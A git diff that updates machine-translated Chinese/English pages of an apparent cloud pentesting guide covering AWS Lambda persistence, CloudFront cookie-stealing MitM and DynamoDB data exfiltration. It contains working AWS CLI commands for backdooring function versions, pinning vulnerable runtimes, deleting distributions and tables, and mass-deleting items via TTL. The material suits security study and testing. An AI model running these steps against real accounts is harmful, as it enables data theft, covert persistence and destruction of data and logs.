Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

2026-07-28 22:51:09 -07:00 · 2025-10-23 14:47:09 +00:00
parent 5ba4d74f9f
commit 0f3ed3e064
12 changed files with 857 additions and 365 deletions
@@ -4,7 +4,7 @@

 ## Lambda

-更多信息请参见：
+For more information check:

 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@

 ### Lambda Layer Persistence

-可以在 Lambda 执行时以隐蔽方式 **引入/backdoor 一个 layer 来执行任意代码**：
+It's possible to **在 Layer 中引入/植入后门以执行任意代码** when the lambda is executed in a stealthy way:

 {{#ref}}
 aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md

 ### Lambda Extension Persistence

-滥用 Lambda Layers 还可以滥用 extensions，实现 Lambda 内的持久化，并窃取或修改请求。
+Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.

 {{#ref}}
 aws-abusing-lambda-extensions.md
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md

 ### Via resource policies

-可以将对不同 Lambda 操作（例如 invoke 或 update code）的访问权限授予外部账号：
+可以向外部账号授予对不同 lambda 操作（例如 invoke 或 update code）的访问权限：

 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>

-### 版本、别名与权重
+### Versions, Aliases & Weights

 A Lambda can have **different versions** (with different code each version).\
-然后，你可以创建 **不同别名对应不同版本** 的 Lambda，并为每个别名设置不同的权重。\
-这样攻击者可以创建一个 **backdoored version 1** 和一个 **只包含合法代码的 version 2**，并仅在 1% 的请求中执行 version 1 以保持隐蔽。
+Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
+This way an attacker could create a **后门版本 1** and a **版本 2 仅含合法代码** 并且 **仅在 1% 的请求中执行版本 1** 来保持隐蔽。

 <figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>

 ### Version Backdoor + API Gateway

 1. 复制 Lambda 的原始代码
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
-1. 调用与该 Lambda 关联的 API Gateway 来执行代码
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
-1. 这会将 backdoored 的代码隐藏在之前的版本中
-4. 转到 API Gateway 并 **create a new POST method**（或选择其他方法），用于执行该 backdoored 的 Lambda 版本：`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
-1. 注意 arn 最后的 :1 **indicating the version of the function**（在此情形中 version 1 将是 backdoored 的版本）。
-5. 选择已创建的 POST 方法，在 Actions 中选择 **`Deploy API`**
-6. 现在，当你通过 POST 调用该函数时，**你的 Backdoor** 将被触发
+2. **创建一个新版本并植入后门**（或仅包含恶意代码）。发布并 **将该版本部署到 $LATEST**
+1. 调用与该 Lambda 关联的 API Gateway 以执行代码
+3. **使用原始代码创建一个新版本**，发布并将该**版本**部署到 $LATEST。
+1. 这会把带后门的代码隐藏在先前的版本中
+4. 进入 API Gateway 并 **创建一个新的 POST 方法**（或选择其他方法），用于执行带后门的 Lambda 版本： `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+1. 注意 arn 末尾的 :1 **表示函数的版本**（在此场景中版本 1 将是被植入后门的版本）。
+5. 选择刚创建的 POST 方法，在 Actions 中选择 **`Deploy API`**
+6. 现在，当你通过 POST 调用该函数时，**后门** 将被触发

 ### Cron/Event actuator

-你可以让 **lambda functions 在事件发生或经过一段时间时运行**，这使得 Lambda 成为获得持久化并规避检测的常见手段。\
-以下是一些通过创建 lambdas 让你在 AWS 中更隐蔽存在的想法。
+你可以让 **Lambda 函数在某些事件发生或经过一段时间后运行**，这使得 Lambda 成为实现持久化并规避检测的常见手段。\
+下面是一些利用 Lambda 让你在 AWS 中更加隐蔽地保持存在的思路。

- 每当创建新用户时，lambda 生成一个新的用户密钥并将其发送给 attacker。
- 每当创建新角色时，lambda 会为被攻陷的用户授予 assume role 权限。
- 每当产生新的 cloudtrail 日志时，删除/篡改它们
+- 每当创建新用户时，Lambda 生成新用户密钥并将其发送给攻击者。
+- 每当创建新角色时，Lambda 授予被攻陷的用户 assume role 权限。
+- 每当生成新的 CloudTrail 日志时，删除/篡改它们

 ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers

-利用环境变量 `AWS_LAMBDA_EXEC_WRAPPER` 来在 runtime/handler 启动前执行攻击者控制的 wrapper 脚本。通过 Lambda Layer 将 wrapper 放到 `/opt/bin/htwrap`，设置 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`，然后调用函数。该 wrapper 在函数运行时进程内执行，继承函数执行角色，最终 `exec` 真正的 runtime，从而使原始 handler 仍然正常执行。
+滥用环境变量 `AWS_LAMBDA_EXEC_WRAPPER`，在 runtime/handler 启动前执行由攻击者控制的包装脚本。通过 Lambda Layer 将包装脚本放在 `/opt/bin/htwrap`，设置 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`，然后调用函数。该包装脚本在函数运行时进程内运行，继承函数执行角色，并最终通过 `exec` 启动真实的 runtime，因此原始 handler 仍然正常执行。

 {{#ref}}
 aws-lambda-exec-wrapper-persistence.md
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md

 ### AWS - Lambda Function URL Public Exposure

-滥用 Lambda 的 asynchronous destinations 与 Recursion 配置，可以让函数持续自我重入而无需外部调度器（无需 EventBridge、cron 等）。默认情况下，Lambda 会终止递归循环，但将 recursion 配置设置为 Allow 会重新启用它们。Destinations 在服务端为异步调用负责投递，因此一次种子调用即可创建一个隐蔽、无需上传代码的 心跳/backdoor 通道。可选择使用 reserved concurrency 限流以降低噪声。
+滥用 Lambda 的异步 destinations 并结合 Recursion 配置，可以让函数在没有外部调度器（如 EventBridge、cron 等）的情况下持续地自我重入。默认情况下，Lambda 会终止递归循环，但将 recursion 配置设置为 Allow 可以重新启用它们。destinations 在服务端处理异步调用的投递，所以一次种子调用就能创建一个隐蔽的、无需代码的心跳/后门通道。可选地使用 reserved concurrency 节流以降低噪音。

 {{#ref}}
 aws-lambda-async-self-loop-persistence.md
@@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md

 ### AWS - Lambda Alias-Scoped Resource Policy Backdoor

-创建一个包含攻击者逻辑的隐藏 Lambda 版本，并使用 `lambda add-permission` 的 `--qualifier` 参数将基于资源的策略作用于该特定版本（或别名）。仅向攻击者主体授予对 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` 的 `lambda:InvokeFunction` 权限。通过函数名或主别名的正常调用不会受影响，而攻击者可以直接调用该带后门的版本 ARN。
+创建一个带有攻击者逻辑的隐藏 Lambda 版本，并在 `lambda add-permission` 中使用 `--qualifier` 参数将基于资源的策略限定到该特定版本（或别名）。仅授予攻击者主体对 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` 的 `lambda:InvokeFunction` 权限。通过函数名或主别名的正常调用不受影响，而攻击者可以直接调用被植入后门的版本 ARN。

-这比暴露 Function URL 更隐蔽，且不会更改主流量别名。
+这比暴露 Function URL 更隐蔽，并且不会改变主流量别名。

 {{#ref}}
 aws-lambda-alias-version-policy-backdoor.md
 {{#endref}}

+### Freezing AWS Lambda Runtimes

+拥有 lambda:InvokeFunction、logs:FilterLogEvents、lambda:PutRuntimeManagementConfig 和 lambda:GetRuntimeManagementConfig 权限的攻击者可以修改函数的 runtime management 配置。当目标是将 Lambda 函数锁定在一个易受攻击的 runtime 版本，或保持与可能与较新 runtime 不兼容的恶意 layer 的兼容性时，此攻击尤其有效。
+
+攻击者会修改 runtime management 配置以固定 runtime 版本：
+```bash
+# Invoke the function to generate runtime logs
+aws lambda invoke \
+--function-name $TARGET_FN \
+--payload '{}' \
+--region us-east-1 /tmp/ping.json
+
+sleep 5
+
+# Freeze automatic runtime updates on function update
+aws lambda put-runtime-management-config \
+--function-name $TARGET_FN \
+--update-runtime-on FunctionUpdate \
+--region us-east-1
+```
+验证已应用的配置:
+```bash
+aws lambda get-runtime-management-config \
+--function-name $TARGET_FN \
+--region us-east-1
+```
+可选：将运行时版本固定到特定版本
+```bash
+# Extract Runtime Version ARN from INIT_START logs
+RUNTIME_ARN=$(aws logs filter-log-events \
+--log-group-name /aws/lambda/$TARGET_FN \
+--filter-pattern "INIT_START" \
+--query 'events[0].message' \
+--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
+```
+将 runtime 固定为特定版本：
+```bash
+aws lambda put-runtime-management-config \
+--function-name $TARGET_FN \
+--update-runtime-on Manual \
+--runtime-version-arn $RUNTIME_ARN \
+--region us-east-1
+```
 {{#include ../../../../banners/hacktricks-training.md}}
@@ -4,27 +4,36 @@

 ## CloudFront

-For more information check:
+更多信息请参见：

 {{#ref}}
 ../../aws-services/aws-cloudfront-enum.md
 {{#endref}}

+### `cloudfront:Delete*`
+获得 cloudfront:Delete* 权限的 attacker 可以删除 distributions、policies 以及其他关键的 CDN 配置对象 — 例如 distributions、cache/origin policies、key groups、origin access identities、functions/configs 及相关资源。 这可能导致服务中断、内容丢失，以及配置或取证痕迹被移除。
+
+要删除 distribution，attacker 可以使用：
+```bash
+aws cloudfront delete-distribution \
+--id <DISTRIBUTION_ID> \
+--if-match <ETAG>
+```
 ### Man-in-the-Middle

-这篇 [**博文**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) 提出几种不同场景，其中可以在通过 CloudFront 的通信中添加（或在已使用时修改）一个 **Lambda**，目的是**窃取**用户信息（例如会话 **cookie**）并**修改** **response**（注入恶意 **JS** 脚本）。
+这篇 [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) 提出了几种不同的场景，在这些场景中可以将一个 **Lambda** 添加（如果已在使用则修改）到通过 **CloudFront** 的通信中，目的是 **窃取** 用户信息（例如会话 **cookie**）并 **修改** **response**（注入恶意 **JS** 脚本）。

 #### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket

- **Create** 恶意的 **function**。
- **Associate** 将其关联到 CloudFront distribution。
- 将 **event type to "Viewer Response"** 设置为该值。
+- **创建** 恶意 **函数**。
+- **将其关联到** CloudFront **分发**。
+- **将 event type 设置为 "Viewer Response"**。

-访问 response 可以窃取用户的 cookie 并注入恶意 JS。
+访问响应后，你可以窃取用户的 **cookie** 并注入恶意 **JS**。

 #### scenario 2: MitM where CloudFront is already using a lambda function

- **Modify the code** 更改 Lambda function 的代码以窃取敏感信息
+- **修改代码**，在 lambda 函数 中窃取敏感信息。

 You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).

@@ -4,7 +4,7 @@

 ## DynamoDB

-更多信息请参阅：
+更多信息请查看：

 {{#ref}}
 ../../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@

 ### `dynamodb:BatchGetItem`

-拥有此权限的 attacker 将能够 **通过主键从表中获取项** (你不能直接请求表的所有数据)。这意味着你需要知道主键（你可以通过获取表元数据来获得，`describe-table`）。
+拥有此权限的攻击者能够 **通过主键从表中获取项**（不能直接请求表中所有数据）。这意味着你需要知道主键（你可以通过获取表的元数据（`describe-table`）来获得它们）。

 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}

-**Potential Impact:** 通过在表中定位敏感信息实现 Indirect privesc
+**Potential Impact:** 通过在表中定位敏感信息实现间接 privesc

 ### `dynamodb:GetItem`

-**与之前的权限相似** 该权限允许潜在攻击者在已知要检索条目的主键的情况下，从单个表中读取值：
+**Similar to the previous permissions** 这个权限与前面的权限类似，允许潜在的攻击者在已知项的主键的情况下，从单个表中读取值：
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 }
 }
 ```
-有了这个权限，也可以使用 **`transact-get-items`** 方法，例如：
+有了此权限，也可以使用 **`transact-get-items`** 方法，例如:
 ```json
 aws dynamodb transact-get-items \
 --transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**潜在影响：** 间接 privesc， 通过在表中定位敏感信息
+**Potential Impact:** 间接 privesc：通过定位表中的敏感信息

 ### `dynamodb:Query`

-**与之前的权限类似** 该权限允许潜在攻击者在知道条目主键的情况下从单个表读取值。它允许使用 [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)，但与必须出现的主键一起使用的唯一比较是 "EQ"，因此你无法通过一次请求使用比较来获取整个数据库。
+**与之前的权限类似**，这项权限允许潜在攻击者在知道条目的主键时，仅从一个表中读取值。它允许使用 [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)，但与必须出现的主键一起允许的唯一比较是 "EQ"，因此你不能通过比较在一次请求中获取整个 DB。

 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}

-**潜在影响：** 间接 privesc，通过在表中定位敏感信息
+**潜在影响：** 间接的 privesc：通过在表中定位敏感信息

 ### `dynamodb:Scan`

-您可以使用此权限**轻松 dump 整个表**。
+您可以使用此权限来 **dump the entire table easily**
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Potential Impact:** 通过在表中定位敏感信息实现间接 privesc
+**潜在影响：** 通过在表中定位敏感信息导致间接 privesc

 ### `dynamodb:PartiQLSelect`

-你可以使用此权限来**轻松 dump 整个表**。
+您可以使用此权限来 **轻松 dump 整个表**。
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-此权限还允许执行类似于 `batch-execute-statement` 的操作：
+此权限还允许执行类似 `batch-execute-statement` 的操作：
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-但你需要为主键指定一个值，所以这并不是很有用。
+但是你需要为主键指定一个值，所以这并不是很有用。

-**Potential Impact:** 间接 privesc：通过定位表中的敏感信息
+**潜在影响：** 通过在表中定位敏感信息实现间接 privesc

 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`

-此权限将允许攻击者**将整个表导出到其选择的 S3 bucket**：
+此权限允许攻击者将**整张表导出到其选择的 S3 bucket**：
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-注意：要使此方法生效，该表必须启用 point-in-time-recovery。你可以使用以下命令检查表是否启用了它：
+注意：要使此方法生效，该表必须启用 point-in-time-recovery。你可以使用以下命令检查表是否启用：
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-如果它未启用，你需要**启用它**，为此你需要**`dynamodb:ExportTableToPointInTime`**权限：
+如果它尚未启用，您需要**启用它**，为此您需要**`dynamodb:ExportTableToPointInTime`**权限：
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Potential Impact:** Indirect privesc 通过在表中定位敏感信息
+**潜在影响：** 间接 privesc：通过在表中定位敏感信息

-### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` 
+### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`

-拥有这些权限的攻击者能够**从备份创建新表**（甚至可以先创建备份，然后在不同的表中恢复）。随后，拥有必要权限的攻击者可以检查备份中的**信息**，这些信息可能**不再出现在生产**表中。
+拥有这些权限的攻击者可以 **从备份创建新表**（甚至可以先创建备份，然后在另一个表中恢复）。随后，如果拥有必要的权限，他就可以查看备份中的 **信息**，这些信息**可能不再出现在生产表中**。
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**潜在影响：** 通过在表备份中定位敏感信息实现间接 privesc
+**Potential Impact:** 通过在表备份中定位敏感信息间接实现 privesc

 ### `dynamodb:PutItem`

-该权限允许用户添加**新项到表中或用新项替换已存在的项**。如果具有相同主键的项已存在，**整个项将被新项替换**。如果主键不存在，则会**创建**具有指定主键的新项。
+此权限允许用户将 **新项添加到表中或用新项替换现有项**。如果具有相同主键的项已存在，**整个项将被新项替换**。如果主键不存在，将创建具有指定主键的**新项**。

 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}

-**潜在影响：** 通过在 DynamoDB 表中添加/修改数据，可能导致进一步利用漏洞/bypasses
+**潜在影响：** 通过能够在 DynamoDB 表中添加/修改数据，可能导致进一步漏洞/绕过 被利用

 ### `dynamodb:UpdateItem`

-此权限允许用户**修改项的现有属性或向项添加新属性**。它**不会替换**整个项；它仅更新指定的属性。如果表中不存在主键，则该操作将**使用指定的主键创建一个新项**，并设置更新表达式中指定的属性。
+此权限允许用户**修改项的现有属性或向项添加新属性**。它**不会替换**整个项；它仅更新指定的属性。如果表中不存在该主键，则该操作将使用指定的主键**创建新的项**，并根据更新表达式设置指定的属性。

 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,36 +242,36 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}

-**Potential Impact:** 能够在 DynamoDB 表中添加/修改数据，从而可能被用于利用更多 vulnerabilities/bypasses
+**Potential Impact:** 通过在 DynamoDB 表中添加/修改数据，可能被用于利用更多的 vulnerabilities/bypasses

 ### `dynamodb:DeleteTable`

-具有此权限的攻击者可以**删除 DynamoDB 表，导致数据丢失**。
+拥有此权限的攻击者可以**删除 DynamoDB 表，导致数据丢失**。
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**潜在影响**: 数据丢失以及依赖被删除表的服务中断。
+**潜在影响**：数据丢失以及依赖被删除表的服务中断。

 ### `dynamodb:DeleteBackup`

-拥有此权限的攻击者可以**删除 DynamoDB 备份，可能在灾难恢复情况下导致数据丢失**。
+拥有此权限的攻击者可以**删除 DynamoDB 备份，可能在灾难恢复场景中导致数据丢失**。
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**潜在影响**: 在灾难恢复场景中可能导致数据丢失并无法从备份恢复。
+**Potential impact**: 在灾难恢复场景中可能导致数据丢失，并且无法从备份中恢复。

 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`

 > [!NOTE]
 > TODO: 测试这是否确实可行

-具有这些权限的攻击者可以**在 DynamoDB 表上启用 stream，更新表以开始对更改进行流式传输，然后访问该 stream 以实时监控表的更改**。这允许攻击者监控并 exfiltrate 数据更改，可能导致 data leakage。
+拥有这些权限的攻击者可以**在 DynamoDB 表上启用 stream、更新表以开始流式传输更改，然后访问该 stream 以实时监控表的更改**。这使攻击者能够监控并 exfiltrate data changes，可能导致 data leakage。

-1. 在 DynamoDB 表上启用 stream:
+1. 在 DynamoDB 表上启用 stream：
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
@@ -284,7 +284,7 @@ aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. 使用 stream ARN 获取 shard iterator：
+3. 使用流 ARN 获取分片迭代器：
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. 使用 shard iterator 从 stream 中访问并 exfiltrate 数据：
+4. 使用 shard iterator 访问并 exfiltrate 来自 stream 的数据：
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potential impact**: 实时监控和 DynamoDB 表更改的数据泄露。
+**潜在影响**: 实时监控并导致 DynamoDB 表更改的数据 leak。

 ### 通过 `dynamodb:UpdateItem` 和 `ReturnValues=ALL_OLD` 读取项

-攻击者仅具有表上的 `dynamodb:UpdateItem` 权限时，可以在没有任何常规读取权限（`GetItem`/`Query`/`Scan`）的情况下，通过执行一次良性更新并请求 `--return-values ALL_OLD` 来读取项。DynamoDB 会在响应的 `Attributes` 字段中返回项的更新前完整镜像（这不会消耗 RCUs）。
+攻击者如果在某表上仅拥有 `dynamodb:UpdateItem` 权限，可以在没有常规读取权限（`GetItem`/`Query`/`Scan`）的情况下，通过执行一次无害的更新并请求 `--return-values ALL_OLD` 来读取项。DynamoDB 会在响应的 `Attributes` 字段中返回该项更新前的完整镜像（这不会消耗 RCUs）。

- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
- Prerequisites: You must know the item's primary key.
+- 最低权限：在目标表/键上具有 `dynamodb:UpdateItem`。
+- 前提条件：你必须知道该项的主键。

-示例（添加一个无害属性并在响应中 exfiltrates 先前的项）：
+示例（添加一个无害的属性并在响应中 exfiltrates 先前的 item）：
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-The CLI 响应将包含一个 `Attributes` 块，包含完整的先前项（所有属性），从而实际上在仅写权限下提供了读取原语。
+The CLI 响应将包含一个 `Attributes` 块，里面包含完整的先前项（所有属性），实际上从仅有写权限中提供了一个读取原语。

-**Potential Impact:** 在只有写权限的情况下读取表中任意项，当已知主键时，可能导致敏感数据 exfiltration。
+**潜在影响：** 在只有写权限的情况下读取表中的任意项；当主键已知时，可导致敏感数据外泄。


 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`

-通过向 DynamoDB Global Table (version 2019.11.21) 添加一个新的副本 Region 可实现隐蔽的 exfiltration。如果某个主体可以添加区域副本，整个表将被复制到攻击者选择的 Region，攻击者可以从该 Region 读取所有项。
+通过向 DynamoDB Global Table（版本 2019.11.21）添加新的 replica Region，实现隐蔽的外泄。如果某个主体可以添加区域副本，整个表将被复制到攻击者选定的 Region，攻击者可以从该 Region 读取所有项。

 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}

-权限：`dynamodb:UpdateTable`（具有 `replica-updates`）或 `dynamodb:CreateTableReplica` 针对目标表。如果在副本中使用 CMK，则可能需要该密钥的 KMS 权限。
+权限：`dynamodb:UpdateTable`（带 `replica-updates`）或目标表上的 `dynamodb:CreateTableReplica`。如果 replica 使用 CMK，则可能需要对该密钥的 KMS 权限。

-潜在影响：将整个表复制到攻击者控制的 Region，从而导致 stealthy data exfiltration。
+潜在影响：将整表复制到攻击者控制的 Region，导致 stealthy data exfiltration。

-### `dynamodb:TransactWriteItems`（通过失败条件读取 + `ReturnValuesOnConditionCheckFailure=ALL_OLD`）
+### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)

-攻击者若具有事务性写权限，可在 `TransactWriteItems` 中执行一个 `Update` 操作，同时设置 `ReturnValuesOnConditionCheckFailure=ALL_OLD` 并故意使 `ConditionExpression` 失败，从而 exfiltrate 现有项的完整属性。在失败时，DynamoDB 会在事务取消原因中包含先前的属性，有效地将写-only 访问转为对目标键的读取访问。
+具有事务性写权限的攻击者可以通过在 `TransactWriteItems` 内执行一个 `Update`，该操作故意使 `ConditionExpression` 失败，同时设置 `ReturnValuesOnConditionCheckFailure=ALL_OLD`，从而 exfiltrate 一个现有项的全部属性。失败时，DynamoDB 会在事务取消原因中包含之前的属性，有效地将仅写访问转换为对目标键的读取访问。

 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}

-权限：`dynamodb:TransactWriteItems` 在目标表上（以及底层 item）。无需读取权限。
+权限：`dynamodb:TransactWriteItems` 在目标表（以及其底层项）上。 不需要读取权限。

-潜在影响：仅使用事务写权限，通过返回的取消原因按主键读取表中的任意 item。
+潜在影响：通过返回的取消原因，仅凭事务写入权限读取表中任意项（按主键）。


-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` 在 GSI 上
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI

-通过在低熵属性上创建 `ProjectionType=ALL` 的 Global Secondary Index (GSI)，将该属性在所有 item 上设置为固定值，然后 `Query` 索引以检索完整 item，从而绕过读取限制。即使对基表的 `Query`/`Scan` 被拒，只要你可以查询索引 ARN，此方法仍然有效。
+通过创建一个 Global Secondary Index (GSI)，并在低熵属性上设置 `ProjectionType=ALL`，将该属性在所有项中设为常量，然后 `Query` 索引以检索完整项，从而绕过读取限制。即便对基础表的 `Query`/`Scan` 被拒绝，只要你可以查询索引的 ARN，此方法仍然有效。

 - 最低权限：
- `dynamodb:UpdateTable` 在目标表上（用于创建带有 `ProjectionType=ALL` 的 GSI）。
- `dynamodb:UpdateItem` 在目标表的键上（用于在每个 item 上设置被索引的属性）。
+- `dynamodb:UpdateTable` 在目标表上（用于创建具有 `ProjectionType=ALL` 的 GSI）。
+- `dynamodb:UpdateItem` 在目标表键上（用于为每个项设置被索引的属性）。
 - `dynamodb:Query` 在索引资源 ARN 上（`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`）。

-步骤（PoC 在 us-east-1）：
+步骤（PoC in us-east-1）：
 ```bash
 # 1) Create table and seed items (without the future GSI attribute)
 aws dynamodb create-table --table-name HTXIdx \
@@ -461,16 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potential Impact:** 通过查询新建的 GSI（投影所有属性）进行完整表数据外泄，即使基表的读取 API 被拒绝也能实现。
+**潜在影响：** 通过查询新创建的 GSI（投影所有属性）可以实现完整表 exfiltration，即使基础表读取 API 被拒绝。

-### `dynamodb:EnableKinesisStreamingDestination` (通过 Kinesis Data Streams 持续外泄)

-滥用 DynamoDB 的 Kinesis streaming destinations 将表的变更持续导出到攻击者控制的 Kinesis Data Stream。一旦启用，每次 INSERT/MODIFY/REMOVE 事件都会被近实时转发到该 stream，而无需对表具有读取权限。
+### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)

-Minimum permissions (attacker):
- `dynamodb:EnableKinesisStreamingDestination` on the target table
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
+滥用 DynamoDB Kinesis streaming destinations 将表的变更持续 exfiltrate 到攻击者控制的 Kinesis Data Stream。一旦启用，每个 INSERT/MODIFY/REMOVE 事件都会近实时地转发到该 stream，而无需表的读取权限。
+
+最低权限（攻击者）：
+- 在目标表上拥有 `dynamodb:EnableKinesisStreamingDestination`
+- 可选的 `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` 用于监控状态
+- 对攻击者拥有的 Kinesis stream 的读取权限以消费记录：`kinesis:*`

 <details>
 <summary>PoC (us-east-1)</summary>
@@ -527,9 +528,48 @@ aws dynamodb disable-kinesis-streaming-destination \
 aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
 aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
+### `dynamodb:UpdateTimeToLive`
+
+拥有 `dynamodb:UpdateTimeToLive` 权限的攻击者可以更改表的 TTL（time-to-live，存活时间）配置——启用或禁用 TTL。  
+启用 TTL 后，包含所配置 TTL 属性的单个项在到达过期时间后会被自动删除。  
+TTL 值只是每个项上的另一个属性；没有该属性的项不会受到基于 TTL 的删除影响。
+
+如果项中尚未包含 TTL 属性，攻击者还需要有用于更新项的权限（例如 `dynamodb:UpdateItem`）以添加 TTL 属性并触发大规模删除。
+
+首先在表上启用 TTL，并指定用于过期的属性名称：
+```bash
+aws dynamodb update-time-to-live \
+--table-name <TABLE_NAME> \
+--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
+```
+然后更新条目以添加 TTL 属性（epoch seconds），使它们过期并被删除：
+```bash
+aws dynamodb update-item \
+--table-name <TABLE_NAME> \
+--key '<PRIMARY_KEY_JSON>' \
+--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
+--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
+```
+### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
+
+具有 dynamodb:RestoreTableFromAwsBackup 或 dynamodb:RestoreTableToPointInTime 权限的攻击者可以创建从备份或按时间点恢复 (PITR) 恢复的新表，而不覆盖原始表。恢复的表包含所选时间点的数据完整映像，因此攻击者可以用它来 exfiltrate 历史信息或获取数据库过去状态的完整转储。
+
+从按需备份恢复一个 DynamoDB 表：
+```bash
+aws dynamodb restore-table-from-backup \
+--target-table-name <NEW_TABLE_NAME> \
+--backup-arn <BACKUP_ARN>
+```
+将 DynamoDB 表恢复到某一时间点（创建一个包含恢复状态的新表）：
+```bash
+aws dynamodb restore-table-to-point-in-time \
